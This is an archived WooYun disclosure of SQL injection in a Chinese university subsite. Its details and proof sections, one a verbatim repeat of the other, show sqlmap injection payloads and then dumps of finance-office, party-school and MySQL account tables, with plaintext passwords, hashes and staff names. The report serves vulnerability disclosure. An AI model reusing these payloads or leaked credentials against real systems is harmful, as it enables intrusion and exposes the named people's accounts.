当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0164669

漏洞标题：西安建筑科技大学分站存在sql注入

相关厂商：西安建筑科技大学

漏洞作者： 路人甲

提交时间：2015-12-27 15:12

修复时间：2016-02-09 23:29

公开时间：2016-02-09 23:29

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-27： 细节已通知厂商并且等待厂商处理中
2015-12-28： 厂商已经确认，细节仅向厂商公开
2016-01-07： 细节向核心白帽子及相关领域专家公开
2016-01-17： 细节向普通白帽子公开
2016-01-27： 细节向实习白帽子公开
2016-02-09： 细节向公众公开

简要描述：

西安建筑科技大学分站存在sql注入，涉及主站数据库，财务处数据库等资料。

详细说明：

注入点;http://**.**.**.**/jgsz/dx/read.php?id=125

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=125--proxy=**.**.**.**:8087' AND 2741=2741 AND 'Puim'='Puim
    Type: UNION query
    Title: MySQL UNION query (NULL) - 16 columns
    Payload: id=125--proxy=**.**.**.**:8087' UNION ALL SELECT NULL,CONCAT(0x716b786271,0x7a6c507947784e554964,0x717a787071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: id=125--proxy=**.**.**.**:8087' AND (SELECT * FROM (SELECT(SLEEP(5)))MzSC) AND 'wzPb'='wzPb
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11


web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
available databases [6]:
[*] cwcdb
[*] dangxiao
[*] information_schema
[*] mysql
[*] test
[*] zzb_utf8


cwcdb是财务处的，dangxiao是党校的，mysql是主站的。
对cwcdb财务处测试

Database: cwcdb                                                                
[5 tables]
+----------+
| admin    |
| guest    |
| newsbody |
| share    |
| type     |
+----------+


Database: cwcdb
Table: admin
[6 entries]
+----+---------+----------+------------------------+---------------+
| id | level   | username | turename               | password      |
+----+---------+----------+------------------------+---------------+
| 1  | 2       | cwc      | 财务处办公室                 | A123456789    |
| 2  | 3       | aaa      | Hesper                 | zzz1          |
| 9  | 2       | admin    | 冰\\?fc\\?63沸\\?f2\\?76 | A123456789    |
| 12 | 2       | cwch     | 财务处                    | A123456789    |
| 11 | 2       | xiemzh   | 谢明志                    | A123456789    |
| 13 | 2       | superbbb | aaa                    | superandy9899 |
+----+---------+----------+------------------------+---------------+

财务处的出来了，看一下其他的。
mysql的：

Database: mysql                                                                
[23 tables]
+---------------------------+
| user                      |
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
+---------------------------+


账户密码：

Database: mysql
Table: user
[4 entries]
+--------+-----------------------------------------------------+
| User   | Password                                            |
+--------+-----------------------------------------------------+
| root   | *981A1053D5C6C045D6B243EE39AE6B85324BBF0A           |
| root   | <blank>                                             |
| root   | <blank>                                             |
| web    | *2E1EADEB1A320E3872F3B1A64532A03182450EAD (web1234) |
+--------+-----------------------------------------------------+


对党校的：

Database: dangxiao                                                             
[9 tables]
+------------+
| admin      |
| dx_article |
| dx_link    |
| dx_record  |
| dx_special |
| dx_type    |
| dx_upload  |
| dx_user    |
| newsbody   |
+------------+


admin里面是

Database: dangxiao
Table: admin
[2 entries]
+----+---------+----------+----------+----------+-----------+
| id | level   | username | turename | password | usergroup |
+----+---------+----------+----------+----------+-----------+
| 1  | 3       | jike     | 党校       | 1130     | 2         |
| 2  | 3       | aaa      | 张栋       | zzz1     | 1         |
+----+---------+----------+----------+----------+-----------+


dx_user里面：

Database: dangxiao
Table: dx_user
[1 entry]
+----------+----------+----------------------------------------+-----------------+
| username | turename | password                               | email           |
+----------+----------+----------------------------------------+-----------------+
| aaa      | 张栋萨      | f3abb86bd34cf4d52698f14c0da1dc60 (zzz) | admin@**.**.**.** |
+----------+----------+----------------------------------------+-----------------+

漏洞证明：

注入点;http://**.**.**.**/jgsz/dx/read.php?id=125

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=125--proxy=**.**.**.**:8087' AND 2741=2741 AND 'Puim'='Puim
    Type: UNION query
    Title: MySQL UNION query (NULL) - 16 columns
    Payload: id=125--proxy=**.**.**.**:8087' UNION ALL SELECT NULL,CONCAT(0x716b786271,0x7a6c507947784e554964,0x717a787071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: id=125--proxy=**.**.**.**:8087' AND (SELECT * FROM (SELECT(SLEEP(5)))MzSC) AND 'wzPb'='wzPb
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11


web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
available databases [6]:
[*] cwcdb
[*] dangxiao
[*] information_schema
[*] mysql
[*] test
[*] zzb_utf8


cwcdb是财务处的，dangxiao是党校的，mysql是主站的。
对cwcdb财务处测试

Database: cwcdb                                                                
[5 tables]
+----------+
| admin    |
| guest    |
| newsbody |
| share    |
| type     |
+----------+


Database: cwcdb
Table: admin
[6 entries]
+----+---------+----------+------------------------+---------------+
| id | level   | username | turename               | password      |
+----+---------+----------+------------------------+---------------+
| 1  | 2       | cwc      | 财务处办公室                 | A123456789    |
| 2  | 3       | aaa      | Hesper                 | zzz1          |
| 9  | 2       | admin    | 冰\\?fc\\?63沸\\?f2\\?76 | A123456789    |
| 12 | 2       | cwch     | 财务处                    | A123456789    |
| 11 | 2       | xiemzh   | 谢明志                    | A123456789    |
| 13 | 2       | superbbb | aaa                    | superandy9899 |
+----+---------+----------+------------------------+---------------+

财务处的出来了，看一下其他的。
mysql的：

Database: mysql                                                                
[23 tables]
+---------------------------+
| user                      |
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
+---------------------------+


账户密码：

Database: mysql
Table: user
[4 entries]
+--------+-----------------------------------------------------+
| User   | Password                                            |
+--------+-----------------------------------------------------+
| root   | *981A1053D5C6C045D6B243EE39AE6B85324BBF0A           |
| root   | <blank>                                             |
| root   | <blank>                                             |
| web    | *2E1EADEB1A320E3872F3B1A64532A03182450EAD (web1234) |
+--------+-----------------------------------------------------+


对党校的：

Database: dangxiao                                                             
[9 tables]
+------------+
| admin      |
| dx_article |
| dx_link    |
| dx_record  |
| dx_special |
| dx_type    |
| dx_upload  |
| dx_user    |
| newsbody   |
+------------+


admin里面是

Database: dangxiao
Table: admin
[2 entries]
+----+---------+----------+----------+----------+-----------+
| id | level   | username | turename | password | usergroup |
+----+---------+----------+----------+----------+-----------+
| 1  | 3       | jike     | 党校       | 1130     | 2         |
| 2  | 3       | aaa      | 张栋       | zzz1     | 1         |
+----+---------+----------+----------+----------+-----------+


dx_user里面：

Database: dangxiao
Table: dx_user
[1 entry]
+----------+----------+----------------------------------------+-----------------+
| username | turename | password                               | email           |
+----------+----------+----------------------------------------+-----------------+
| aaa      | 张栋萨      | f3abb86bd34cf4d52698f14c0da1dc60 (zzz) | admin@**.**.**.** |
+----------+----------+----------------------------------------+-----------------+

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-12-28 08:34

厂商回复：

通知处理中

最新状态：

暂无